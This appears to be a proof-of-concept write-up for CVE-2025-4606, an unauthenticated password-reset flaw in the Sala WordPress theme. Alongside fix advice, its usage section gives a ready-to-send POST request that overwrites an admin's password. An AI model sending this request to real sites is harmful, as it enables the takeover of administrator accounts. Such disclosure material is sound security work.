Sala - Startup & SaaS WordPress Theme <= 1.1.4 - Unauthenticated Privilege Escalation via Password Reset/Account Takeover# CVE-2025-4606- WordPress Sala Theme <= 1.1.4 - Unauthenticated Privilege Escalation via Password Reset/Account Takeover
🔥 **Vulnerability Summary**
The WordPress theme Sala versions <= 1.1.4 is vulnerable to an **unauthenticated privilege escalation** vulnerability. This flaw allows **unauthenticated attackers** to reset passwords of arbitrary users — including administrators — by directly invoking an exposed AJAX endpoint without verifying the identity of the requester.
This vulnerability stems from the `change_password_ajax` function registered to `wp_ajax_nopriv_`, which sets a new password for any valid user login without checking if the request is authorized.
🔍 **Affected Theme**
- **Theme Name:** Sala – Startup & SaaS WordPress Theme
- **Affected Version:** <= 1.1.4
- **Vulnerability Type:** Unauthenticated Privilege Escalation
- **CVE ID:** CVE-2025-4606
- **CVSS Score:** 9.8 (Critical)
- **Impact:** Complete Account Takeover (Including Admin)
🧪 **Exploit Features**
- 🔓 **No authentication required**
- 🔄 **Overwrites any user’s password** by providing a valid login name
- 📬 **Targets the AJAX endpoint** `/wp-admin/admin-ajax.php?action=change_password_ajax`
- 🧠 **Works instantly** if the attacker knows a valid username (e.g., admin)
🧠 **Researcher**
- Credit: [Thai An](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/thai-an-thai-an)
🚀 **Usage**
1. Identify a valid username on the target WordPress site. You can do this by checking:
- Public author archive URLs (`/author/username`)
2. Craft the following POST request to reset the user’s password:
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
action=change_password_ajax&login=admin&new_password=hacked123
```
3. If successful, you can now log in as the targeted user using the new password (`hacked123` in the example above).
4. Visit `/wp-login.php` and verify access.
🛠 **Fix Recommendations**
- Theme developers should remove or secure the `wp_ajax_nopriv_change_password_ajax` hook.
- Always check `is_user_logged_in()` and verify the identity of the user before allowing sensitive actions.
- Implement nonce checks to prevent CSRF and unauthenticated abuse.
🔒 **Disclaimer:**
This information is provided for educational and authorized penetration testing purposes only. Unauthorized exploitation of systems is illegal and unethical.
📚 **Reference:**
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/sala/sala-startup-saas-wordpress-theme-114-unauthenticated-privilege-escalation-via-password-resetaccount-takeover)
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view